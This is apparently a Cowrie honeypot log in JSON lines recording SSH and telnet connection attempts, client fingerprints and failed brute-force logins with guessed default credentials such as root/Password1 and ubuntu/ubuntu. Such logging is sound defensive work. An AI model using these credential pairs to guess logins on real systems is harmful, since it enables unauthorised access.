{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:08.750359Z","src_ip":"176.65.139.95","session":"2459933f7d91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46464,"dst_ip":"159.203.135.109","dst_port":22,"session":"298585876ca2","protocol":"ssh","message":"New connection: 192.109.200.78:46464 (159.203.135.109:22) [session: 298585876ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:09.418839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:09.528379Z","src_ip":"192.109.200.78","session":"298585876ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:09.532411Z","src_ip":"192.109.200.78","session":"298585876ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:09.889806Z","src_ip":"192.109.200.78","session":"298585876ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.113.202.175","src_port":50968,"dst_ip":"159.203.135.109","dst_port":23,"session":"28f41d92e8b3","protocol":"telnet","message":"New connection: 62.113.202.175:50968 (159.203.135.109:23) [session: 28f41d92e8b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:10.369639Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45980,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9cce89e5b23","protocol":"ssh","message":"New connection: 80.94.92.186:45980 (159.203.135.109:22) [session: d9cce89e5b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:10.718729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:10.794869Z","src_ip":"80.94.92.186","session":"d9cce89e5b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:10.868240Z","src_ip":"80.94.92.186","session":"d9cce89e5b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:11.279489Z","src_ip":"192.109.200.78","session":"298585876ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:11.432436Z","src_ip":"80.94.92.186","session":"d9cce89e5b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:12.673772Z","src_ip":"80.94.92.186","session":"d9cce89e5b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59926,"dst_ip":"159.203.135.109","dst_port":22,"session":"b20c06a78ac5","protocol":"ssh","message":"New connection: 176.65.139.95:59926 (159.203.135.109:22) [session: b20c06a78ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:13.225875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:13.230874Z","src_ip":"176.65.139.95","session":"b20c06a78ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:13.314466Z","src_ip":"176.65.139.95","session":"b20c06a78ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:13.598557Z","src_ip":"176.65.139.95","session":"b20c06a78ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46494,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bdad022ec7a","protocol":"ssh","message":"New connection: 192.109.200.78:46494 (159.203.135.109:22) [session: 6bdad022ec7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:13.682673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:13.687166Z","src_ip":"192.109.200.78","session":"6bdad022ec7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:13.831475Z","src_ip":"192.109.200.78","session":"6bdad022ec7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:14.169104Z","src_ip":"192.109.200.78","session":"6bdad022ec7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:14.709411Z","src_ip":"176.65.139.95","session":"b20c06a78ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:15.257184Z","src_ip":"192.109.200.78","session":"6bdad022ec7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.44.137.58","src_port":33880,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c7f7a45927","protocol":"telnet","message":"New connection: 89.44.137.58:33880 (159.203.135.109:23) [session: 05c7f7a45927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:16.786320Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46512,"dst_ip":"159.203.135.109","dst_port":22,"session":"0216b92e4316","protocol":"ssh","message":"New connection: 192.109.200.78:46512 (159.203.135.109:22) [session: 0216b92e4316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:17.740460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:17.745464Z","src_ip":"192.109.200.78","session":"0216b92e4316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:17.827700Z","src_ip":"192.109.200.78","session":"0216b92e4316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77527117729187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:18.063922Z","src_ip":"89.44.137.58","session":"44f88d9b9b5c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"admin","message":"login attempt [deploy/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:18.074398Z","src_ip":"192.109.200.78","session":"0216b92e4316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:19.325915Z","src_ip":"192.109.200.78","session":"0216b92e4316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42960,"dst_ip":"159.203.135.109","dst_port":22,"session":"f710bfb9b9aa","protocol":"ssh","message":"New connection: 176.65.139.95:42960 (159.203.135.109:22) [session: f710bfb9b9aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:19.574105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:19.579019Z","src_ip":"176.65.139.95","session":"f710bfb9b9aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:19.677641Z","src_ip":"176.65.139.95","session":"f710bfb9b9aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:20.144629Z","src_ip":"176.65.139.95","session":"f710bfb9b9aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:21.229610Z","src_ip":"176.65.139.95","session":"f710bfb9b9aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43138,"dst_ip":"159.203.135.109","dst_port":22,"session":"b70794b8beb8","protocol":"ssh","message":"New connection: 192.109.200.78:43138 (159.203.135.109:22) [session: b70794b8beb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:21.960642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:21.965378Z","src_ip":"192.109.200.78","session":"b70794b8beb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:22.048474Z","src_ip":"192.109.200.78","session":"b70794b8beb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:22.299994Z","src_ip":"192.109.200.78","session":"b70794b8beb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.113.202.175","src_port":51616,"dst_ip":"159.203.135.109","dst_port":23,"session":"a27ba2c2fdfc","protocol":"telnet","message":"New connection: 62.113.202.175:51616 (159.203.135.109:23) [session: a27ba2c2fdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:23.373490Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:23.393016Z","src_ip":"192.109.200.78","session":"b70794b8beb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.785386562347412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:23.895676Z","src_ip":"217.70.188.116","session":"26a631da198e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42968,"dst_ip":"159.203.135.109","dst_port":22,"session":"71fa691bea80","protocol":"ssh","message":"New connection: 176.65.139.95:42968 (159.203.135.109:22) [session: 71fa691bea80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:25.548342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:25.582321Z","src_ip":"176.65.139.95","session":"71fa691bea80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:25.871134Z","src_ip":"176.65.139.95","session":"71fa691bea80","protocol":"ssh"}
